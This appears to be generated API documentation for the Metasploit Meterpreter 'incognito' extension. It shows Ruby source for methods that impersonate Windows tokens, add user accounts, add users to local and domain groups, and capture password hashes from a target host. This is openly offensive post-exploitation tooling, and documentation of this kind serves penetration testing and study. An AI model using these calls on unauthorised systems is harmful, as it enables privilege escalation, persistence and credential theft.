class Rex::Post::Meterpreter::Extensions::Incognito::Incognito
This meterpreter extensions a privilege escalation interface that is capable of doing things like dumping password hashes and performing local exploitation.
Public Class Methods
new(client)
click to toggle source
Calls superclass method
Rex::Post::Meterpreter::Extension::new
# File lib/rex/post/meterpreter/extensions/incognito/incognito.rb, line 20 def initialize(client) super(client, 'incognito') client.register_extension_aliases( [ { 'name' => 'incognito', 'ext' => self }, ]) end
Public Instance Methods
incognito_add_group_user(host, groupname, username)
click to toggle source
# File lib/rex/post/meterpreter/extensions/incognito/incognito.rb, line 63 def incognito_add_group_user(host, groupname, username) request = Packet.create_request('incognito_add_group_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end
incognito_add_localgroup_user(host, groupname, username)
click to toggle source
# File lib/rex/post/meterpreter/extensions/incognito/incognito.rb, line 73 def incognito_add_localgroup_user(host, groupname, username) request = Packet.create_request('incognito_add_localgroup_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end
incognito_add_user(host, username, password)
click to toggle source
# File lib/rex/post/meterpreter/extensions/incognito/incognito.rb, line 53 def incognito_add_user(host, username, password) request = Packet.create_request('incognito_add_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end
incognito_impersonate_token(username)
click to toggle source
# File lib/rex/post/meterpreter/extensions/incognito/incognito.rb, line 45 def incognito_impersonate_token(username) request = Packet.create_request('incognito_impersonate_token') request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end
incognito_list_tokens(token_order)
click to toggle source
# File lib/rex/post/meterpreter/extensions/incognito/incognito.rb, line 33 def incognito_list_tokens(token_order) request = Packet.create_request('incognito_list_tokens') request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order) response = client.send_request(request) return { 'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION), 'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION) } end
incognito_snarf_hashes(host)
click to toggle source
# File lib/rex/post/meterpreter/extensions/incognito/incognito.rb, line 83 def incognito_snarf_hashes(host) request = Packet.create_request('incognito_snarf_hashes') request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) return true end